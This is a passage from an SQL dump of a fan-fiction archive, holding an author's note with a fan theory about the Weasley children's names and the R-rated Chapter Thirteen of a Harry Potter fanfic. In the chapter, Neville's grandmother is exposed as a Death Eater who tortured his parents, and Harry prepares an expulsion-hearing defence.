bump off Neville all along.</p>\n\n<p>I&#8217;d like to thank AnimeFanatic, Batgirl, kinicky21, NAPPA, SamanthaMarie, and Tina for their kind reviews of my last two chapters.&nbsp; Batgirl had questions regarding Fudge, all I can say is &#8211; watch that man very carefully.&nbsp; As to why Voldemort wants Arthur Weasley to join his side?&nbsp; Voldemort wants <i>everyone</i> in a position of power to join his side.&nbsp; He wants to consolidate power everywhere.</p>\n\n<p>NAPPA, why did I finger Charlie for death?&nbsp; Working with dragons is dangerous and it would be easy to murder him and make it look like a dragon did it.&nbsp; That made it an easy choice, although a big risk to take.&nbsp; That&#8217;s because Charlie is such a beloved character and I haven&#8217;t seen any other fanfic writer killing him off.&nbsp; My beta reader Ama almost stopped talking to me after that, too.&nbsp; That&#8217;s because I had sent her the chapter to proofread where he died before I had even started writing the funeral chapter.&nbsp; I learned from that experience that I needed to upload both together.&nbsp; Another reason is that it was more powerful visually to have the names Charles Weasley next to David Weasley.&nbsp; It is easier for the alphabetizing to be recognized.&nbsp; Would it make you feel any better to know that when I was writing this story that the funeral chapter is something I put off until I had to write it?&nbsp; I literally had to force myself to think about the ceremony and everything involved because it was painful to me?&nbsp;&nbsp; </p>\n\n<p>SamanthaMarie wanted to know where I came up with the idea of the slightly obscured alphabetic naming scheme.&nbsp; To explain the creative process and the way that my mind works is sort of like watching sausage being made.&nbsp; It takes away some of the enjoyment, but if you insist&#8230; One of the first fanfics I came across had Ron as a Seventh Son and clairvoyant.&nbsp; The large gap between Charlie and Percy has been perceived by some as a good place for another child to have been born and the Seventh Son idea is therefore not an uncommon idea.&nbsp; The way this writer revealed that plotline was decidedly unbangy to me.&nbsp; Ron and Ginny had gone to a carnival and went into a gypsy fortuneteller&#8217;s tent.&nbsp; The gypsy felt great power in the tent and asked which one of them was the seventh child.&nbsp; Ron and Ginny both pointed to the other and then Ginny settled the dispute by&nbsp; ticking off the names, &#8220;Charlie, Bill, Michael, Percy, Fred, George, then you, Ron.&#8221;&nbsp; Or something like that.&nbsp; No discussion of what ever happened to Michael, but I felt that he probably just died in childhood from a non-traumatic way by the way it was presented.&nbsp; As I read that story I realized that the author had gotten the birth order wrong and that it was Bill and then Charlie.&nbsp; Then I noticed a pattern of B, C, blank, P, F, G.&nbsp; Then I thought of Arthur starting with the letter A and decided that the blank should be filled in with a D for David.&nbsp; Then all you have to do is change Percy&#8217;s first name to start with an E.&nbsp; E for Edward.&nbsp; I also know that it is not uncommon for people to be called by their middle name instead of their given first name.&nbsp; It&#8217;s done all the time.&nbsp; So, if we can establish that Bill&#8217;s first name is not William, but Bill short for Bilius &#8211; then there is a chance for that slightly obscured alphabetic naming scheme to be canon proof that Ron is a Seventh Son.</p>\n\n<p>I first floated that theory on HpfGU&#8217;s list last year around April and caused quite a stir.&nbsp; There were some that were intrigued by the idea while others thought it was a &#8220;wanton morass of tosh.&#8221;&nbsp; ::Shrugs::&nbsp; I happen to like the idea a lot.&nbsp; Partly because legends of Seventh Sons being clairvoyant are very prevalent in folklore and I can&#8217;t see any other reason why JKR created such a large family with so many older brothers and have Divination take up so much space in the books so far.&nbsp; I think she&#8217;s going to follow through with this and make Ron a prophet because it would allow him to step out of the long shadows of his brothers.&nbsp; It also would answer why JKR introduced a character name like Bilius.&nbsp; I know she likes strange names and all, but bilius is one of the four humours of the body.&nbsp;&nbsp; I mean does she intend on introducing a Choleric, Sanguine and Phlegmatic as other obscure canon names?&nbsp; So I think that it was a subtle way of her introducing that Bill is named after Uncle Bilius, and that his name is not short for William.&nbsp; The question then becomes:&nbsp; If I am right about this theory, does Ron know about David or has it been kept a secret from him?&nbsp; There was a discussion on HpfGU&#8217;s where there was one part of canon that might indicate that Ron knew about a dead older brother.&nbsp; On the first trip to Hogwarts when Ron and Harry first met, Harry said that he wished he had three wizard brothers.&nbsp; This was the reply:</p>\n\n<p>&#8220;Five,&#8221; said Ron.&nbsp; For some reason, he was looking gloomy.&nbsp; &#8220;I&#8217;m the sixth in our family to go to Hogwarts&#8230;.&#8221;&nbsp; He then goes on to list and describe his older brothers.&nbsp; This gloominess on Ron&#8217;s part could indicate his discomfort being the sixth going to Hogwarts when by all rights he should be the seventh.&nbsp; I dunno.&nbsp; It&#8217;s one of those things in canon that is vague enough to be a clue, but you&#8217;re just not sure.&nbsp; Personally, I prefer the idea of Molly and Arthur keeping it a secret from the younger children because Dark Secrets have a way of coming back to haunt you.&nbsp; It&#8217;s more dramatic and that&#8217;s what I love.</p>\n\n<p>Anyway, I seriously doubt that you&#8217;ll read another fanfic with the slightly obscured alphabetic naming scheme introduced, nor do I honestly expect that anyone that reads my story will recognize the significance of the Edward clue when they first see it.&nbsp; That is unless they have read my old posts on HPfGU&#8217;s list or unless they have as strange and convoluted a mind as mine.&nbsp; And that would be a toughie to come across.&nbsp; ;-)</p>\n\n<p>Stay tuned, coming soon:&nbsp; Chapter Thirteen &#8211; Gran Longbottom, you will see my version of what happened the fateful night when Frank and Claire Longbottom were attacked by the Pensieve Four.&nbsp; I promise that you&#8217;ll never think of the Boggart in the Wardrobe chapter in the same light ever again.</p> ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(260, 13, ' <p>Hopefully this will be the last chapter that I will have to reload due to corrupted files.</p>\n\n<p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Author&#8217;s note:&nbsp; this chapter has a healthy dose of my sometimes sick and twisted sense of humour.&nbsp; I&#8217;d like to thank as always Cara Hicks and Ama for being beta readers.&nbsp; Daniel Jackson, author of &#8220;Harry Potter and the Time of Shadows&#8221; on Schnoogle and Lanski, author of &#8220;A New Ghost&#8221; on the Dark Arts also helped me with this chapter.</p>\n\n<p>Rating:&nbsp; R &#8211; for adult themes and sexual intimacy</p>\n\n<p>Chapter Thirteen &#8211; Gran Longbottom</p>\n\n<p>Nevile&#8217;s body began to shake and his face grew pale.</p>\n\n<p>&#8220;What are you remembering?&#8221; asked Dumbledore.</p>\n\n<p>&#8220;Gran was putting me to bed,&#8221; Neville said hesitantly.&nbsp; &#8220;She is putting a lamp in my window and then walks to the door, she stops and listens for a few moments. The doorbell rings.&nbsp; I hear my dad&#8217;s voice.&nbsp; &#8216;Barty, what beings you here?&#8217;&nbsp; The voices are getting louder, I&#8217;m getting scared.&nbsp; Gran looks over and sees the look on my face. She casts a spell on me so I can&#8217;t make a sound. I hear my dad screaming in pain, then my mum crying for them to make it stop.&nbsp; I wanted to go to them. I wanted my mum.&nbsp; I tried to climb out of bed, but Gran stopped me.&#8221;</p>\n\n<p>&#8220;How did she stop you?&#8221; asked Dumbledore.</p>\n\n<p>&#8220;She did the full body bind, Petrificus Totalus,&#8221; Neville said dully. </p>\n\n<p>Harry felt his stomach sink.&nbsp; Hermione had used the same curse to stop Neville four years ago.&nbsp; What if his body remembered having that done to him before?&nbsp; Harry started grasping at straws for a good explanation.&nbsp; He wanted to believe that this story wasn&#8217;t as bad as it seemed at first blush.</p>\n\n<p>&#8220;Maybe she was just trying to hide your presence, to protect you from being attacked by the Death Eaters,&#8221; Harry suggested.</p>\n\n<p>Neville turned and looked at him with sorrowful eyes, &#8220;I don&#8217;t think so, because then she went downstairs to join them.&nbsp; Gran was the one who started torturing my mum.&#8221;</p>\n\n<p>Professor Figg looked like she was going to be ill.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;It didn&#8217;t do any good though.&nbsp; My dad still wouldn&#8217;t tell them what they wanted to know.&nbsp; The sound of my mum screaming in pain&#8230;&#8221; Neville shuddered and fought back tears.&nbsp; &#8220;Then I heard Gran start screaming at my dad.&nbsp; She said he was a disgrace, that he didn&#8217;t have proper Wizarding pride.&nbsp; She said it was his fault that my Grandad was killed by the Dark Lord.&nbsp; I heard her slap him.&nbsp; Then they started discussing what to do with my mum and dad.&nbsp; One man suggested that they kill my parents since they wouldn&#8217;t talk.&nbsp; My Gran disagreed and said that it would send a stronger message to leave them alive, but unable to function.&nbsp; She said that it was a fate worse than death.&nbsp; If they were willing to die without telling their secrets it would be thought of as a noble deed, but to be catatonic is pitiable.&nbsp; She then placed a Catatonia curse on them.&nbsp; She said she would recast it as often as necessary.&#8221;</p>\n\n<p>Dumbledore walked over to Neville and placed a hand reassuringly on his shoulder.&nbsp; &#8220;It is hard to know the truth, but right now we must concern ourselves with the safety of your parents.&nbsp; Your grandmother is the only one who can get them out of St. Mungo&#8217;s and yet, she is the one who is keeping them there.&#8221;&nbsp; He then turned to Snape, &#8220;Severus, I shall need your help.&nbsp; I will contact Lucretia Longbottom through my fire and tell her that Neville is near death and that she must come here immediately.&nbsp; I want you to meet her in Hogsmeade and bring her back to this room without delay.&nbsp; Then we will do whatever we have to in order to get her compliance.&#8221;</p>\n\n<p>Neville swallowed hard and then looked over at his relative lying dead on the floor.&nbsp; &#8220;What&#8217;s going to happen to my Great Uncle Algie?&#8221; </p>\n\n<p>&#8220;We shall have to move him for right now,&#8221; Dumbledore said quietly.</p>\n\n<p>&#8220;We need to bury him.&nbsp; I know he&#8217;s evil, but Professor Dumbledore everyone deserves a proper burial.&#8221;</p>\n\n<p>&#8220;You are right about that Neville,&#8221; Dumbledore said solemnly.&nbsp; &#8220;However, it is not safe to have a public funeral for him.&nbsp; Not yet, anyway.&nbsp; Once it leaks out that he&#8217;s dead those who were in league with him would then know to change their plans.&nbsp; That might mean that your parents would die in their sleep one night without any good explanation.&nbsp; I worry about their safety at St. Mungo&#8217;s.&nbsp; We need to get them out of there and back here.&nbsp; After that we&#8217;ll talk again about when we should arrange a funeral for him.&#8221;</p>\n\n<p>Dumbledore then raised his wand and transfigured the dead wizard back into a toad.&nbsp; He picked up the amphibian and deposited it into an empty glass and handed it to Snape.&nbsp; &#8220;I think you should hide this in plain sight.&#8221;</p>\n\n<p>Snape nodded and took the glass.&nbsp; Harry started thinking about all the strange looking jars with toads, frogs and other creatures suspended in liquid in the Potions dungeon.&nbsp; He started wondering just what all those jars really contained.</p>\n\n<p>The next fifteen minutes seemed like fifteen hours.&nbsp; The wait for Gran Longbottom to arrive seemed to stretch on forever.&nbsp; No one seemed to know what to say, so there was an awkward sense of silence that hung in the air.&nbsp; Finally, voices were heard outside the door.&nbsp; Tufty leapt from Professor Figg&#8217;s lap, ran to the door and immediately arched his back.</p>\n\n<p>&#8220;Why are we going here?&nbsp; The hospital wing is down that hallway.&#8221;</p>\n\n<p>&#8220;Neville was too fragile to move,&#8221; Snape said reassuringly, &#8220;he&#8217;s in here.&#8221;</p>\n\n<p>As soon as Snape opened the door and she entered, Dumbledore disarmed Neville&#8217;s grandmother and conjured ropes around her.&nbsp; Obviously, Dumbledore was not going to take any chances that she might also be holding a suicide pill in her hands.&nbsp; She was aghast at being bound and shocked to see her grandson alive, well and sitting in the room.&nbsp; As Gran Longbottom looked around the room and recognized Mrs. Norris she became enraged.</p>\n\n<p>&#8220;YOU!&#8221;&nbsp; she screamed.&nbsp; &#8220;YOU are the reason that my grandson became an idiot!&nbsp; I had such great plans for him.&nbsp;&nbsp; I was going to make sure that I didn&#8217;t fail him like I had with Frank.&#8221;&nbsp; She then cast a scathing look at Dumbledore, &#8220;<i>And </i><i>you</i> stole my son away from me.&nbsp; All that nonsense about equality poisoned his mind.&nbsp; If I had only known what kind of example you set, I would never have sent him here.&nbsp; He would have gone to Durmstrang where he would have gotten a proper education.&nbsp; Instead, he became enamored of a Mudblood, Muggle loving fool!&#8221;&nbsp; </p>\n\n<p>&#8220;Why don&#8217;t you sit down Lucretia?&#8221; Dumbledore said coolly.&nbsp; &#8220;There&#8217;s a lot we need to catch up on.&#8221;</p>\n\n<p>Gran stood her ground and refused to move.&nbsp; Snape then forcibly moved her over to a chair and pushed her down.</p>\n\n<p>&#8220;That&#8217;s better.&nbsp; Maybe we should all be seated,&#8221; Dumbledore said, &#8220;get comfortable.&nbsp; I think we may be here for awhile.&#8221;&nbsp; He sat and looked at Gran Longbottom carefully.&nbsp; &#8220;Neville&#8217;s started to remember things from his youth.&nbsp; It seems that he recalls that you were the one to lead the torture of Claire and that it was your suggestion to spare their lives and keep them as mental prisoners.&#8221;</p>\n\n<p>She snarled at Neville.&nbsp; He looked back at her with stone cold eyes.</p>\n\n<p>&#8220;We were also having a little chat with your twin brother,&#8221; continued Dumbledore.&nbsp; &#8220;He admitted to trying to kill your grandson repeatedly over the years.&nbsp; He never explained why though.&nbsp; Perhaps you could enlighten us about that.&#8221;</p>\n\n<p>Gran Longbottom looked at everyone in the room and then got an evil smile on her face.&nbsp; &#8220;Yes, you see Algie thought that Neville was a liability.&nbsp; He worried that one day Neville would remember everything and turn me in.&nbsp; I was afraid that if he were killed outright that it would look too suspicious, so Algie kept trying to make it look like an accident.&nbsp; I wouldn&#8217;t have had all those worries and problems raising him if it weren&#8217;t for <i>that bitch</i> who screwed up his memory to begin with!&#8221;</p>\n\n<p>Mrs. Norris stared back at Gran without flinching.</p>\n\n<p>&#8220;I wasn&#8217;t worried about Neville telling anyone about the incident, because he had been slow in speaking,&#8221; Gran said smiling.&nbsp; &#8220;He still was using his own made up words more than real ones at that point.&nbsp; I knew that if I gave him the proper training that he would turn out to be a wizard that I could be proud of instead of a turncoat like my son.&nbsp; But since that idiot witch couldn&#8217;t leave well enough alone, I had to change the way I wanted to raise him.&nbsp; His mind was so damaged that as a child he would walk into the kitchen because he was hungry, but by the time he got there he had forgotten what he went in there for.&nbsp; I didn&#8217;t know if he even possessed enough magical ability to make it here, let alone Durmstrang.&nbsp; After Algie&#8217;s plans to dispose of our embarrassing problem had all failed, I decided he needed to come here to monitor Neville.&nbsp; I transfigured him and he was to report back to me if there was any change in his childhood memories.&nbsp; He also used to croak incantations at night in Neville&#8217;s ear.&#8221;</p>\n\n<p>Professor Figg crossed the room and knocked Gran Longbottom&#8217;s hat off her head.&nbsp; She yanked Gran&#8217;s head back and held her face inches above the evil old witch&#8217;s face, &#8220;You are evil!&nbsp; Ever. So. Evil.&nbsp; How you could treat your own son and grandson like that?&#8221;</p>\n\n<p>&#8220;And you are a meddling bitch!&#8221; Gran Longbottom spat in her face.&nbsp; &#8220;When I heard you were teaching here I knew there was going to be trouble.&nbsp; Shortly after this school year began Neville started asking me questions about his parents, asking to see pictures of them and wanting to know what they were like.&nbsp; I couldn&#8217;t refuse to answer his questions for fear I would incriminate myself, but I knew something was up.&nbsp; I knew you had to be behind it.&nbsp; So I&#8217;ve taken extra precautions to assure my own survival.&#8221;</p>\n\n<p>&#8220;Lucretia, did Frank know that you were a supporter of Voldemort?&#8221; asked Dumbledore.</p>\n\n<p>&#8220;No.&nbsp; At first we were afraid of the Dark Lord like most wizards, but we came to realize that he is only trying to help our race in response to the oppression and persecution by Muggles.&nbsp; That&#8217;s when we joined his side.&nbsp; Frank should have understood that fact because we raised him to know of my family&#8217;s history.&nbsp; He knew that my mother was a small girl when she was taken to the village square to watch as her grandmother was burned to death for being a witch.&nbsp; My family had to hide what they were from the Muggles for fear that they would also suffer the same fate.&nbsp; After Llewelyn and I married, we shunned everything to do with Muggles and dealt only with the Wizarding World.&nbsp; Frank had not even met any Muggles until he came here.&nbsp; <i>And you</i>,&#8221; she said scornfully at Dumbledore, &#8220;all your talks about tolerance undermined our belief system with Frank.&nbsp; He became best friends with a Muggle-born wizard.&nbsp; By the time he came home after his first year, he couldn&#8217;t stop talking about how wrong his father and I were about Muggles.&nbsp; Frank conveniently forgot how they vastly outnumber us and how they have persecuted our kind for thousands of years.&nbsp; Forgetting that my mother listened to the screams of her grandmother as the flames licked her skin.&#8221;</p>\n\n<p>&#8220;Like I had to listen to my mother scream as my grandmother tortured her?&#8221; interrupted Neville with a cold voice.</p>\n\n<p>&#8220;Your mother and father are race traitors,&#8221; she snarled.&nbsp; &#8220;What I did was for the good of all witches and wizards.&#8221;</p>\n\n<p>&#8220;You can&#8217;t honestly believe that,&#8221; said Professor Figg.</p>\n\n<p>&#8220;Yes I do,&#8221; Gran Longbottom replied with her head held high in the air.&nbsp; &#8220;Dumbledore may be a beloved headmaster, but he has dangerous ideas about the mixing of races.&nbsp; That certainly wasn&#8217;t the case when I went here and Armando Dippet was headmaster.&#8221;</p>\n\n<p>&#8220;Lucretia, the answer to hatred and bigotry is not more hatred and bigotry,&#8221; Dumbledore replied.&nbsp; &#8220;That leads only to a perpetual cycle of violence and continued bloodshed.&nbsp; Did you ever stop to think that the actions of Voldemort and his followers are the kinds of crimes that breed hatred towards all magical beings?&#8221;</p>\n\n<p>&#8220;It doesn&#8217;t matter what we do.&nbsp; The fact that we even exist is enough for Muggles to want to kill us,&#8221; insisted Gran.&nbsp; &#8220;My great-grandmother had been the village healer, but when she became a widow her neighbour wanted her property.&nbsp; All he had to do was accuse her of witchcraft and point to a cow that died of old age and it was enough to have her put to death.&nbsp; She had even saved his youngest son from scarlet fever the winter before.&nbsp;&nbsp; No, nothing will change my mind about the sanctity of our cause.&nbsp; I was heartbroken when Frank rejected the recruitment effort to join the Dark Lord.&nbsp; I thought we had instilled the proper Wizarding pride in him, but instead he set a trap and arrested dear Thanatos Travers.&nbsp; We had hoped that Frank would be a good mole for our side in the Ministry, but instead he became a zealot searching us out.&nbsp; Llewelyn and I had to hide our actions and feelings around our own son.&nbsp; Frank started to suspect his father though.&nbsp; He actually came to me with his concerns,&#8221; she gave a laugh that was chilling.&nbsp; &#8220;Little did he know that we were both Death Eaters.&nbsp; He was getting too close to the truth, so when he accused his father of committing certain crimes I told him that Llewelyn was under the Imperius curse.&#8221;</p>\n\n<p>&#8220;Why was your husband murdered?&#8221; asked Dumbledore.</p>\n\n<p>&#8220;Because the Dark Lord wanted to punish me for my failure,&#8221; she said simply.&nbsp; &#8220;He said that when Frank confronted me that I should never have tried to deny our belonging to him.&nbsp; I should have either killed Frank or put him under the Imperius curse myself.&nbsp; Because I failed the Dark Lord, he killed my husband as a lesson to me.&nbsp; I learned my lesson after that and will no longer show mercy for anyone.&#8221;</p>\n\n<p>Gran Longbottom then looked at Mrs. Norris and got a leer on her face.&nbsp; &#8220;<st1:place>Iona</st1:place>, did you ever wonder who tipped off Cy?&nbsp; After you left my house and had screwed up my grandson, I knew that you would turn traitor.&nbsp; And you had <i>such</i> a pedestrian lover.&nbsp; If you had at least a piddling amount of talent and would have been worth his time, the Dark Lord could have provided you with much better lovers.&nbsp; I insisted upon that when I was recruited.&nbsp; Little did Luscious Malfoy realize when he brought me into the fold, that <i>he&#8217;d </i>be the one to have to satisfy my carnal desires.&#8221;</p>\n\n<p>Mrs. Norris walked angrily across the room and slapped Gran&#8217;s face.&nbsp; &#8220;Lucius has a wife and son.&nbsp; You ought to be ashamed of yourself!&#8221;</p>\n\n<p>&#8220;Your son-in-law has enough to go around,&#8221; she said lewdly.</p>\n\n<p><i>Son-in-law?&nbsp; </i>Harry couldn&#8217;t believe his ears.&nbsp; <i>Was Mrs. Norris Draco Malfoy&#8217;s grandmother?&nbsp; </i>&nbsp;Harry looked at Mrs. Norris carefully and realized the resemblance that had been nagging him.&nbsp; She looked like an older version of Narcissa Malfoy.&nbsp; Harry then thought of how Draco strutted around the school feeling as if he owned the place because of his family&#8217;s wealth.&nbsp; Harry wondered if he had any idea that his grandfather had been imprisoned for torturing the parents of a fellow student.&nbsp; Or that his grandmother preferred the love of a Squib to a cruel but pure-blooded wizard and wound up becoming the school caretaker&#8217;s despised cat.&nbsp; Or even that his mother was the product of a date rape.&nbsp; The whole thing seemed so absurdly bizarre and funny that he wanted to laugh except for the look of anger that he saw on both women&#8217;s faces.&nbsp; Their rage was real and it was far from funny.</p>\n\n<p>Harry also thought about the essays everyone wrote about how Voldemort&#8217;s forces might try to recruit them by offering enticements.&nbsp; He wondered if Draco or the other legacies would reconsider wanting to join the Dark Side if they realized that they might be compelled to service the sexual desires of evil women such as Lucretia Longbottom.&nbsp; He shuddered at the thought.&nbsp; That certainly wouldn&#8217;t be something that would be listed on a recruitment poster.&nbsp; If the whole situation weren&#8217;t so tragic for Neville, Harry would have openly laughed at the thought of Lucius Malfoy in bed with an old lady who had the bizarre fashion sense for wearing hideous vulture stuffed hats.</p>\n\n<p>&#8220;Luscious stopped his visits after the Dark Lord fell years ago.&nbsp; He was forced to resume them after I demanded repayment for my steadfast loyalty by repeatedly cursing my son and his pathetic wife.&nbsp; This past year has been one of the most pleasurable years of my life,&#8221; she gloated.&nbsp; Then she started leering at Snape, &#8220;Severus, perhaps I should have requested that the Dark Lord provide me with a little gothic variety.&nbsp; You look like the kind that would have been <i>very entertaining</i> for me.&#8221;</p>\n\n<p>Snape bared his yellow teeth and looked as if he wanted to strangle her.</p>\n\n<p>&#8220;Lucretia, I think we&#8217;ve heard enough of your exploits,&#8221; said Dumbledore sounding irritated.&nbsp; &#8220;I believe that we would all like to be able to eat food at some point today.&nbsp; Please refrain from any further discussion in this vein.&#8221;</p>\n\n<p>&#8220;Yes, the question now is, what are you planning on doing with me?&#8221; Lucretia said lazily.&nbsp; &#8220;You know that turning me over to the Ministry would be pointless, as we&#8217;ve fully infiltrated it by now.&nbsp; You cannot kill me, not if you ever want to see Frank and Claire alive again.&nbsp; If anything out of the ordinary happens, there are standing orders to kill them.&nbsp; Immediately.&#8221;&nbsp; </p>\n\n<p>&#8220;Yes, things are never easy are they, Lucretia?&#8221; Dumbledore said coldly.&nbsp; His eyes looked as if they were blocks of ice.&nbsp; &#8220;However, I don&#8217;t plan on giving up on Frank and Claire.&nbsp; I&#8217;ve always hoped that there might be a way to bring them back to sanity.&nbsp; Now we know it is possible, the trick will be getting them out of St. Mungo&#8217;s.&nbsp; You of course, will be the key.&#8221;</p>\n\n<p>He raised his wand and roared, &#8220;<i>Stupefy!&#8221;</i></p>\n\n<p>Gran Longbottom slumped in her chair, unconscious.</p>\n\n<p>&#8220;Severus, it is clear to me that we will need you to brew up some Polyjuice Potion and have someone impersonate her.&nbsp; That will be the only way to get the Longbottoms out of harm&#8217;s way.&#8221;</p>\n\n<p>&#8220;Yes, I have all the ingredients, but it does take several weeks to brew before it will be ready,&#8221; said Snape.</p>\n\n<p>&#8220;Start today.&nbsp; Arabella can I count on you to play the part of Lucretia?&#8221;</p>\n\n<p>Professor Figg looked worried, like she was contemplating something.&nbsp; &#8220;Actually, I think <st1:place>Iona</st1:place> would be a better choice.&nbsp; She can spend all day long with Lucretia.&nbsp; After all, both of them have to be kept out of sight and with a little &#8216;motivation&#8217; properly applied, I&#8217;m sure that Lucretia will be a wealth of information.&nbsp; Plus, I&#8217;m sure <st1:place>Iona</st1:place> knows Avery.&#8221;</p>\n\n<p>Dumbledore then looked at Mrs. Norris carefully.&nbsp; &#8220;<st1:place>Iona</st1:place>, are you up to the challenge?&#8221;</p>\n\n<p>Mrs. Norris then looked at Neville kindly.&nbsp; &#8220;Yes.&nbsp; It&#8217;s the least I can do to help this nice young man get his parents back.&#8221;</p>\n\n<p>Dumbledore nodded and then went over to Neville and Harry.&nbsp; &#8220;I think it&#8217;s time that you two returned to your dormitory.&nbsp; I am sure that you both realize that nothing you learned here today can be told to anyone, anytime soon.&#8221;</p>\n\n<p>&#8220;What&#8217;s going to happen with Gran?&#8221; asked Neville.</p>\n\n<p>&#8220;We will have to keep her here I&#8217;m afraid.&nbsp; Until we can retrieve your parents from the clutches of Death Eaters at St. Mungo&#8217;s, we cannot risk involving the Ministry.&nbsp; Don&#8217;t worry, she won&#8217;t be harmed.&nbsp; Just inconvenienced.&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry about all of this Neville,&#8221; Professor Figg said kindly.&nbsp; &#8220;I always had suspicions about your grandmother, but never any evidence to base it on.&nbsp; It was more intuition than anything.&nbsp; Don&#8217;t worry, we will get your parents back.&#8221;</p>\n\n<p>Neville nodded, but looked unsure of himself as he and Harry left the classroom.</p>\n\n<p>&#8220;I don&#8217;t know what to say,&#8221; said Harry.&nbsp; </p>\n\n<p>&#8220;I&#8217;m glad you came Harry,&#8221; Neville said.&nbsp; &#8220;I&#8217;m going to need your help working through all of this.&nbsp; Do you know what my Gran meant when she was talking to Snape?&nbsp; I mean, how could You-Know-Who have made him sleep with her?&#8221;</p>\n\n<p>Harry stopped walking and motioned Neville to the side.</p>\n\n<p>&#8220;This is something else that you cannot breathe a word of to anyone,&#8221; Harry whispered.&nbsp; &#8220;Snape used to be a Death Eater.&#8221;</p>\n\n<p>Neville&#8217;s eyes grew wide and his mouth opened in shock.</p>\n\n<p>&#8220;But he turned spy for Dumbledore before Voldemort fell.&nbsp; Dumbledore trusts him completely,&#8221; Harry said quietly.&nbsp; &#8220;Hmm&#8230;I wonder if Snape knew anything about your Gran.&nbsp; Maybe that&#8217;s why he was so upset when you used him and your gran&#8217;s clothes for the boggart lesson during our third year.&#8221;</p>\n\n<p>Neville looked at Harry and then they both broke out laughing.</p>\n\n<p>&#8220;Maybe <i>that&#8217;s</i> why he turned back to our side.&nbsp; He didn&#8217;t want to have to service old ladies,&#8221; Harry howled.&nbsp; &#8220;Or be forced to wear their clothes!&#8221;</p>\n\n<p>&#8220;Stop, stop it Harry,&#8221; Neville said laughing.&nbsp; &#8220;My sides are killing me.&#8221;</p>\n\n<p>Both boys fell on the floor holding their sides with laughter.</p>\n\n<p>&#8220;Oh, I cannot believe today!&#8221; said Neville sobering.&nbsp; &#8220;This has got to be one of the worst days of my life.&#8221;</p>\n\n<p>&#8220;Yeah, but at least you didn&#8217;t wind up in the hospital wing,&#8221; said Harry.&nbsp; &#8220;I always seem to find myself there <i>at least</i> once a year.&#8221;</p>\n\n<p>&#8220;Well I guess I have something to be thankful for,&#8221; agreed Neville.&nbsp; &#8220;Oh and if anyone asks about what happened to Trevor, tell them that I took him outside near the lake.&nbsp; He swam around for a bit before the giant squid had him for a snack.&#8221;</p>\n\n<p>&#8220;That&#8217;ll work,&#8221; Harry said as he checked his watch.&nbsp; &#8220;It&#8217;s almost time for dinner.&#8221;</p>\n\n<p>&#8220;Yeah, like I&#8217;ll be able to get anything down!&#8221; laughed Neville. </p>\n\n<p>&nbsp;</p>\n\n<p>*</p>\n\n<p>By the time Harry turned in his first statement to the Board of Governors, it had gone through at least five drafts.&nbsp; Hermione had helped him go through the text word for word.&nbsp; This tightened and strengthened the document so that it no longer appeared to be a confession by a guilty party.&nbsp; Instead, the final statement defended his actions while minimizing his culpability.</p>\n\n<p>After Harry sent that letter off with Hedwig, he gave a great sigh of relief.&nbsp; His worries weren&#8217;t over, but his first hurdle was completed.&nbsp; He also had an entire week before he had to worry about doing any rebuttal statements.&nbsp; Hermione used this time to find a quiet corner and read ahead for her classes.&nbsp; For the first time in weeks, Harry only saw her during classes and mealtimes.&nbsp; Harry spent his time studying with Ron during this week.&nbsp; Ron had tried to help Harry with the legal defence, but quickly found that he was a distraction.&nbsp; Hermione wound up re-explaining legal concepts to Ron and he began to feel as if they be better off without him around and getting in the way.&nbsp; </p>\n\n<p>A week&#8217;s respite from working on the expulsion hearing ended much too soon in Harry&#8217;s mind.&nbsp; As promised, on Thursday, May 2<sup>nd</sup> he received copies of all the testimony that had been submitted.&nbsp; The owl post that day reminded him of war movies where a fleet of war planes would bomb a target in rapid succession.&nbsp; The Gryffindor table was pelted with sheafs of letters.&nbsp; Each package held twenty sheets of parchment.&nbsp; There were two hundred and twenty separate testimonies that had been submitted and catalogued.&nbsp; Harry didn&#8217;t even want to open the parcels.&nbsp; Just looking at them made his stomach sink.&nbsp; He knew that many of them would probably contain lies about him and he just didn&#8217;t have the heart to read them.</p>\n\n<p>Hermione on the other hand seemed to look at all the parcels as a great challenge.&nbsp; Once they had stuffed all the packages of letters into their now bulging book bags, she insisted that she be the first to look at them and sort them out.&nbsp; Harry was in no mood to argue and in fact was relieved that she was taking charge once again in this matter.</p>\n\n<p>The next day Hermione had secured the large table in the back of the library.&nbsp; She had covered the table with books and papers.</p>\n\n<p>&#8220;I sorted everything into three piles,&#8221; said Hermione.&nbsp; &#8220;The first are those who were too far away to see anything.&nbsp; We can basically just catalogue those and give a blanket response to cover them.&nbsp;&nbsp; The second are those who were supportive of you.&nbsp; We might want to pull some of those highlights out for your oral testimony.&nbsp; And the third category are those that are critical or damaging to you.&nbsp; We will need to respond to those point by point. We&#8217;ll have to figure out a way to carefully discuss the problems with eyewitness testimony, without undermining the testimony that is supportive of you.&#8221;</p>\n\n<p>&#8220;What are the problems with eyewitness testimony?&nbsp; Either you saw something or you didn&#8217;t,&#8221; said Harry perplexed.</p>\n\n<p>&#8220;It&#8217;s not as simple as that,&#8221; said Hermione.&nbsp; &#8220;Lawyers know that people are sometimes very unreliable in interpreting actions that happen right in front of them.&nbsp; For example, I came across a story about a bank robbery that happened a few years ago in <st1:state><st1:place>Texas</st1:place></st1:state>.&nbsp; The bank was crowded and everyone gave a description of the bank robber and how the robbery took place.&nbsp; The problem was that <i>no one</i> described the robber as only having one arm.&#8221;</p>\n\n<p>Harry laughed at that, &#8220;I guess he must have had a really big gun.&#8221;</p>\n\n<p>&#8220;<i>Exactly.</i>&nbsp; The witnesses overlooked something important because they were focusing on something else.&nbsp; That&#8217;s why we need to be careful.&nbsp; I don&#8217;t want to totally dismiss the legitimacy of eyewitness testimony because we have some eyewitness statements that are supportive of you, but we also have many statements that are harmful and claim to have seen you cast two spells.&#8221;</p>\n\n<p>She straightened the stacks of paper and Harry once again started feeling his stomach sink.&nbsp; This was turning into such an overwhelming task, yet Hermione seemed undaunted by the challenge.&nbsp; As she leaned towards him to grab a sheet of parchment that had gotten loose, Harry caught a whiff of her perfume.&nbsp; He had never noticed her wearing perfume before.&nbsp; She had always just had the clean smell of shampoo that was pleasant.&nbsp; 